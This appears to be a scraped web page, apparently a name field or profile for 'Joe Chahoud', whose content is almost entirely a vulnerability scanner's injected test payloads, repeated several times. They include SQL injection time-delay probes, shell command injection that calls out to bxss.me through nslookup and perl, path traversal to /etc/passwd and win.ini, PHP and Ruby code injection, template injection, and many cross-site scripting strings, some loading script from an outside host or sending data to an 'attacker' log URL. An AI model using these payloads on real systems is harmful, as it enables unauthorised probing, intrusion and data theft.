Joe Chahoud

555

555

response.write(9977854*9984697)

'+response.write(9977854*9984697)+'

"+response.write(9977854*9984697)+"

/../../../../../../../../../../windows/system32/BITSADMIN.exe

555

-1 OR 2+744-744-1=0+0+0+1 --

-1 OR 2+133-133-1=0+0+0+1

echo lciyob$()\ zqkppk\nz^xyu||a #' &echo lciyob$()\ zqkppk\nz^xyu||a #|" &echo lciyob$()\ zqkppk\nz^xyu||a #

-1' OR 2+586-586-1=0+0+0+1 --

&echo etcvfc$()\ ilphpy\nz^xyu||a #' &echo etcvfc$()\ ilphpy\nz^xyu||a #|" &echo etcvfc$()\ ilphpy\nz^xyu||a #

-1' OR 2+214-214-1=0+0+0+1 or 'ND3eAOtD'='

|echo glkajm$()\ iwtgob\nz^xyu||a #' |echo glkajm$()\ iwtgob\nz^xyu||a #|" |echo glkajm$()\ iwtgob\nz^xyu||a #

-1" OR 2+479-479-1=0+0+0+1 --

(nslookup hitkoaeozeqflee73b.bxss.me||perl -e "gethostbyname('hitkoaeozeqflee73b.bxss.me')")

$(nslookup hityvbafmekoe4edfa.bxss.me||perl -e "gethostbyname('hityvbafmekoe4edfa.bxss.me')")

&(nslookup hitkndxhyujvy6ba41.bxss.me||perl -e "gethostbyname('hitkndxhyujvy6ba41.bxss.me')")&'\"`0&(nslookup hitkndxhyujvy6ba41.bxss.me||perl -e "gethostbyname('hitkndxhyujvy6ba41.bxss.me')")&`'

|(nslookup hitegeqqqzvvc963de.bxss.me||perl -e "gethostbyname('hitegeqqqzvvc963de.bxss.me')")

`(nslookup hitgurfgfspju4a278.bxss.me||perl -e "gethostbyname('hitgurfgfspju4a278.bxss.me')")`

;(nslookup hitmwdbugisbra6e23.bxss.me||perl -e "gethostbyname('hitmwdbugisbra6e23.bxss.me')")|(nslookup hitmwdbugisbra6e23.bxss.me||perl -e "gethostbyname('hitmwdbugisbra6e23.bxss.me')")&(nslookup hitmwdbugisbra6e23.bxss.me||perl -e "gethostbyname('hitmwdbugisbra6e23.bxss.me')")

if(now()=sysdate(),sleep(15),0)

olJGM0SX

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

../555

555

555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555<esi:include src="http://bxss.me/rpb.png"/>

555

${9999938+9999511}

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

bxss.me

-1; waitfor delay '0:0:15' --

555&n929716=v984027

555

)

!(()&&!|*|*|

^(#$!@#$)(()))******

'"()

'.gethostbyname(lc('hitkr'.'bgfnzdpt2b2be.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(65).chr(109).chr(72).'

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

".gethostbyname(lc("hitir"."mlhptskt7c3a0.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(66).chr(106).chr(71)."

';print(md5(31337));$a='

-1); waitfor delay '0:0:15' --

";print(md5(31337));$a="

${@print(md5(31337))}

${@print(md5(31337))}\

'.print(md5(31337)).'

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(107).concat(78).concat(122).concat(90)+(require"socket"
Socket.gethostbyname("hitkn"+"zzvwsxtj40f35.bxss.me.")[3].to_s)+"

'+'A'.concat(70-3).concat(22*4).concat(122).concat(74).concat(105).concat(88)+(require'socket'
Socket.gethostbyname('hitgn'+'dizkyczoc4ac0.bxss.me.')[3].to_s)+'

-1)); waitfor delay '0:0:15' --

joe-chahoud

joe-chahoud/.

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

/xfs.bxss.me

'"

<!--

1 waitfor delay '0:0:15' --

555'"()&%<acx><ScRiPt >fB8h(9358)</ScRiPt>

1DsLYqFiQNO

'"()&%<acx><ScRiPt >fB8h(9238)</ScRiPt>

5559735690

acu1892＜s1﹥s2ʺs3ʹuca1892

acux4472%C0%BEz1%C0%BCz2a%90bcxuca4472

<%={{={@{#{${acx}}%>

2WWZuTow'; waitfor delay '0:0:15' --

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >fB8h(9399)</ScRiPt>

555<WRX29D>MUWON[!+!]</WRX29D>

ROet7n8O'); waitfor delay '0:0:15' --

555<script>fB8h(9887)</script>

555<ScR<ScRiPt>IpT>fB8h(9098)</sCr<ScRiPt>IpT>

555<ScRiPt
>fB8h(9147)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9833></ScRiPt>

555<isindex type=image src=1 onerror=fB8h(9066)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9357'>

555<body onload=fB8h(9530)>

32THNjTF')); waitfor delay '0:0:15' --

555<img src=//xss.bxss.me/t/dot.gif onload=fB8h(9039)>

555<img src=xyz OnErRor=fB8h(9086)>

555<img/src=">" onerror=alert(9356)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%66%42%38%68%289166%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\fB8h(9513)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;fB8h(9368)&lt;/sCripT&gt;

%F6<img acu onmouseover=fB8h(97351) //%F6>

-5 OR 102=(SELECT 102 FROM PG_SLEEP(15))--

555<input autofocus onfocus=fB8h(9330)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(fB8h(9685))}

555<% contenteditable onresize=fB8h(9639)>

555AzJtv
<ScRiPt >fB8h(9414)</ScRiPt>

555<WVZC4E>1TICJ[!+!]</WVZC4E>

555<ifRAme sRc=9439.com></IfRamE>

-5) OR 122=(SELECT 122 FROM PG_SLEEP(15))--

555<2L6rbG x=9097>

555<img sRc='http://attacker-9422/log.php?

555<lTMp4O<

555

-1)) OR 785=(SELECT 785 FROM PG_SLEEP(15))--

555

epd7FcR5' OR 654=(SELECT 654 FROM PG_SLEEP(15))--

PIsmJ8H3') OR 804=(SELECT 804 FROM PG_SLEEP(15))--

wWAWrrb6')) OR 973=(SELECT 973 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@mx4db

555

555

555

555

555

555

555

555

-1 OR 2+11-11-1=0+0+0+1 --

-1 OR 2+938-938-1=0+0+0+1

-1' OR 2+835-835-1=0+0+0+1 --

-1' OR 2+178-178-1=0+0+0+1 or '0PTPtE4Z'='

-1" OR 2+442-442-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555'"()&%<acx><ScRiPt >9A6a(9453)</ScRiPt>

555

'"()&%<acx><ScRiPt >9A6a(9582)</ScRiPt>

555

5559291315

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

response.write(9158410*9830304)

'+response.write(9158410*9830304)+'

/../../../../../../../../../../windows/system32/BITSADMIN.exe

"+response.write(9158410*9830304)+"

2IazI3h9

../../../../../../../../../../../../../../etc/passwd

echo crhtqe$()\ cvbxbi\nz^xyu||a #' &echo crhtqe$()\ cvbxbi\nz^xyu||a #|" &echo crhtqe$()\ cvbxbi\nz^xyu||a #

../../../../../../../../../../../../../../windows/win.ini

&echo kzaxqg$()\ cpaipz\nz^xyu||a #' &echo kzaxqg$()\ cpaipz\nz^xyu||a #|" &echo kzaxqg$()\ cpaipz\nz^xyu||a #

555

|echo iqbstp$()\ kzkgci\nz^xyu||a #' |echo iqbstp$()\ kzkgci\nz^xyu||a #|" |echo iqbstp$()\ kzkgci\nz^xyu||a #

-1)); waitfor delay '0:0:15' --

../555

(nslookup hitplchbeqiivbcf68.bxss.me||perl -e "gethostbyname('hitplchbeqiivbcf68.bxss.me')")

555<esi:include src="http://bxss.me/rpb.png"/>

$(nslookup hitcqfqppzxns4f196.bxss.me||perl -e "gethostbyname('hitcqfqppzxns4f196.bxss.me')")

555

${9999820+10000062}

&(nslookup hitnqqvvlvyik44be8.bxss.me||perl -e "gethostbyname('hitnqqvvlvyik44be8.bxss.me')")&'\"`0&(nslookup hitnqqvvlvyik44be8.bxss.me||perl -e "gethostbyname('hitnqqvvlvyik44be8.bxss.me')")&`'

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

|(nslookup hitglgesdbbqm2b96e.bxss.me||perl -e "gethostbyname('hitglgesdbbqm2b96e.bxss.me')")

555

555&n904436=v910450

`(nslookup hitzyrezknouo4b2d7.bxss.me||perl -e "gethostbyname('hitzyrezknouo4b2d7.bxss.me')")`

Http://bxss.me/t/fit.txt

)

;(nslookup hitdlctstjnhn55872.bxss.me||perl -e "gethostbyname('hitdlctstjnhn55872.bxss.me')")|(nslookup hitdlctstjnhn55872.bxss.me||perl -e "gethostbyname('hitdlctstjnhn55872.bxss.me')")&(nslookup hitdlctstjnhn55872.bxss.me||perl -e "gethostbyname('hitdlctstjnhn55872.bxss.me')")

http://bxss.me/t/fit.txt?.jpg

555

!(()&&!|*|*|

bxss.me

^(#$!@#$)(()))******

'.gethostbyname(lc('hitst'.'mmmbaytm699aa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(74).chr(101).chr(68).'

'"()

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

".gethostbyname(lc("hitgg"."zzhrperu85814.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(89).chr(102).chr(85)."

';print(md5(31337));$a='

";print(md5(31337));$a="

${@print(md5(31337))}

HttP://bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(101).concat(89).concat(110).concat(87)+(require"socket"
Socket.gethostbyname("hitab"+"kwyqvfeeef3d3.bxss.me.")[3].to_s)+"

${@print(md5(31337))}\

bxss.me/t/xss.html?%00

1 waitfor delay '0:0:15' --

joe-chahoud

'+'A'.concat(70-3).concat(22*4).concat(102).concat(71).concat(114).concat(88)+(require'socket'
Socket.gethostbyname('hitij'+'fiodtifa582c9.bxss.me.')[3].to_s)+'

'.print(md5(31337)).'

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

joe-chahoud/.

'"

555'"()&%<acx><ScRiPt >hd0O(9997)</ScRiPt>

/xfs.bxss.me

<!--

'"()&%<acx><ScRiPt >hd0O(9597)</ScRiPt>

5559766274

cWchWpUO'; waitfor delay '0:0:15' --

acu8549＜s1﹥s2ʺs3ʹuca8549

acux8065%C0%BEz1%C0%BCz2a%90bcxuca8065

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

LEY5zZR3'); waitfor delay '0:0:15' --

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >hd0O(9684)</ScRiPt>

4dgbbQkp')); waitfor delay '0:0:15' --

555<WK2OYQ>E9WJ2[!+!]</WK2OYQ>

555<script>hd0O(9122)</script>

555<ScR<ScRiPt>IpT>hd0O(9418)</sCr<ScRiPt>IpT>

555<ScRiPt
>hd0O(9297)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9534></ScRiPt>

-5 OR 46=(SELECT 46 FROM PG_SLEEP(15))--

555<isindex type=image src=1 onerror=hd0O(9298)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9068'>

555<body onload=hd0O(9061)>

-5) OR 465=(SELECT 465 FROM PG_SLEEP(15))--

555<img src=//xss.bxss.me/t/dot.gif onload=hd0O(9409)>

555<img src=xyz OnErRor=hd0O(9695)>

555<img/src=">" onerror=alert(9908)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%68%64%30%4F%289349%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\hd0O(9025)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;hd0O(9703)&lt;/sCripT&gt;

%F6<img acu onmouseover=hd0O(95751) //%F6>

-1)) OR 554=(SELECT 554 FROM PG_SLEEP(15))--

555<input autofocus onfocus=hd0O(9035)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(hd0O(9387))}

555<% contenteditable onresize=hd0O(9620)>

WGYMKRyQ' OR 620=(SELECT 620 FROM PG_SLEEP(15))--

5552q4SU
<ScRiPt >hd0O(9877)</ScRiPt>

555<WQMR0N>E4IEN[!+!]</WQMR0N>

555<ifRAme sRc=9276.com></IfRamE>

555<Qye6pv x=9048>

555<img sRc='http://attacker-9071/log.php?

GaZoQmCC') OR 346=(SELECT 346 FROM PG_SLEEP(15))--

555<Vq4MAL<

555

555

JGQxKDVb')) OR 585=(SELECT 585 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@L4ecy

555

555

555

555

555'"()&%<acx><ScRiPt >JiYd(9946)</ScRiPt>

555

'"()&%<acx><ScRiPt >JiYd(9574)</ScRiPt>

555

555

5559368928

555

555

-1 OR 2+943-943-1=0+0+0+1 --

-1 OR 2+389-389-1=0+0+0+1

-1' OR 2+31-31-1=0+0+0+1 --

-1' OR 2+318-318-1=0+0+0+1 or 'Pi2VfBgA'='

-1" OR 2+640-640-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

response.write(9420485*9948067)

'+response.write(9420485*9948067)+'

/../../../../../../../../../../windows/system32/BITSADMIN.exe

echo uigpth$()\ doujjc\nz^xyu||a #' &echo uigpth$()\ doujjc\nz^xyu||a #|" &echo uigpth$()\ doujjc\nz^xyu||a #

"+response.write(9420485*9948067)+"

&echo kewpjf$()\ klxiqs\nz^xyu||a #' &echo kewpjf$()\ klxiqs\nz^xyu||a #|" &echo kewpjf$()\ klxiqs\nz^xyu||a #

|echo msxcbh$()\ oxmfsr\nz^xyu||a #' |echo msxcbh$()\ oxmfsr\nz^xyu||a #|" |echo msxcbh$()\ oxmfsr\nz^xyu||a #

3N4Mo9Az

(nslookup hitwctpsydqhi288ea.bxss.me||perl -e "gethostbyname('hitwctpsydqhi288ea.bxss.me')")

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

$(nslookup hitticraksijg984b6.bxss.me||perl -e "gethostbyname('hitticraksijg984b6.bxss.me')")

&(nslookup hitxdsetwdttr4d26a.bxss.me||perl -e "gethostbyname('hitxdsetwdttr4d26a.bxss.me')")&'\"`0&(nslookup hitxdsetwdttr4d26a.bxss.me||perl -e "gethostbyname('hitxdsetwdttr4d26a.bxss.me')")&`'

555

555<esi:include src="http://bxss.me/rpb.png"/>

|(nslookup hitxddugiquxge699f.bxss.me||perl -e "gethostbyname('hitxddugiquxge699f.bxss.me')")

../555

-1)); waitfor delay '0:0:15' --

555

`(nslookup hittxwzgneatm25d13.bxss.me||perl -e "gethostbyname('hittxwzgneatm25d13.bxss.me')")`

${9999789+10000489}

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

;(nslookup hiterdrgknowj3ffec.bxss.me||perl -e "gethostbyname('hiterdrgknowj3ffec.bxss.me')")|(nslookup hiterdrgknowj3ffec.bxss.me||perl -e "gethostbyname('hiterdrgknowj3ffec.bxss.me')")&(nslookup hiterdrgknowj3ffec.bxss.me||perl -e "gethostbyname('hiterdrgknowj3ffec.bxss.me')")

555&n966693=v956368

555

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

555

bxss.me

)

'.gethostbyname(lc('hitga'.'miaiiywo48d22.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(65).chr(112).chr(81).'

!(()&&!|*|*|

".gethostbyname(lc("hitjz"."hmgjkggmdc467.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(65).chr(100).chr(65)."

^(#$!@#$)(()))******

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

'"()

';print(md5(31337));$a='

";print(md5(31337));$a="

1 waitfor delay '0:0:15' --

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

${@print(md5(31337))}

"+"A".concat(70-3).concat(22*4).concat(122).concat(82).concat(97).concat(68)+(require"socket"
Socket.gethostbyname("hitua"+"mkbbpoto67de0.bxss.me.")[3].to_s)+"

joe-chahoud

${@print(md5(31337))}\

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

'+'A'.concat(70-3).concat(22*4).concat(118).concat(79).concat(103).concat(70)+(require'socket'
Socket.gethostbyname('hitje'+'kexrcbjz5f617.bxss.me.')[3].to_s)+'

'.print(md5(31337)).'

joe-chahoud/.

/xfs.bxss.me

'"

555'"()&%<acx><ScRiPt >yA6z(9507)</ScRiPt>

<!--

'"()&%<acx><ScRiPt >yA6z(9957)</ScRiPt>

555

555

555

555'"()&%<acx><ScRiPt >jnEj(9946)</ScRiPt>

'"()&%<acx><ScRiPt >jnEj(9070)</ScRiPt>

5559773802

acu7012＜s1﹥s2ʺs3ʹuca7012

acux8118%C0%BEz1%C0%BCz2a%90bcxuca8118

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >jnEj(9289)</ScRiPt>

555<W381AD>KPAFA[!+!]</W381AD>

555<script>jnEj(9441)</script>

555<ScR<ScRiPt>IpT>jnEj(9550)</sCr<ScRiPt>IpT>

555<ScRiPt
>jnEj(9645)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9730></ScRiPt>

555<isindex type=image src=1 onerror=jnEj(9285)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9459'>

555<body onload=jnEj(9506)>

555<img src=//xss.bxss.me/t/dot.gif onload=jnEj(9720)>

555<img src=xyz OnErRor=jnEj(9306)>

555<img/src=">" onerror=alert(9560)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6A%6E%45%6A%289261%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\jnEj(9851)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;jnEj(9883)&lt;/sCripT&gt;

%F6<img acu onmouseover=jnEj(92661) //%F6>

555<input autofocus onfocus=jnEj(9778)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(jnEj(9896))}

555<% contenteditable onresize=jnEj(9953)>

555U2nuD
<ScRiPt >jnEj(9655)</ScRiPt>

555<WDEKBW>5CA8D[!+!]</WDEKBW>

555<ifRAme sRc=9078.com></IfRamE>

555<tAxB6R x=9221>

555<img sRc='http://attacker-9664/log.php?

555<V5R1FZ<

555'"()&%<acx><ScRiPt >x7Kv(9272)</ScRiPt>

'"()&%<acx><ScRiPt >x7Kv(9494)</ScRiPt>

5559700399

acu1695＜s1﹥s2ʺs3ʹuca1695

acux2275%C0%BEz1%C0%BCz2a%90bcxuca2275

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >x7Kv(9513)</ScRiPt>

555<WNVUR2>HONWR[!+!]</WNVUR2>

555<script>x7Kv(9834)</script>

555<ScR<ScRiPt>IpT>x7Kv(9492)</sCr<ScRiPt>IpT>

555<ScRiPt
>x7Kv(9500)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9842></ScRiPt>

555<isindex type=image src=1 onerror=x7Kv(9889)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9632'>

555<body onload=x7Kv(9657)>

555<img src=//xss.bxss.me/t/dot.gif onload=x7Kv(9356)>

555<img src=xyz OnErRor=x7Kv(9551)>

555<img/src=">" onerror=alert(9397)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%78%37%4B%76%289993%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\x7Kv(9538)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;x7Kv(9904)&lt;/sCripT&gt;

%F6<img acu onmouseover=x7Kv(99851) //%F6>

555<input autofocus onfocus=x7Kv(9150)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(x7Kv(9169))}

555<% contenteditable onresize=x7Kv(9372)>

555Qdl0O
<ScRiPt >x7Kv(9624)</ScRiPt>

555<WX7XVJ>RYH3C[!+!]</WX7XVJ>

555<ifRAme sRc=9015.com></IfRamE>

555<XOoiR6 x=9485>

555<img sRc='http://attacker-9372/log.php?

555<80v6gA<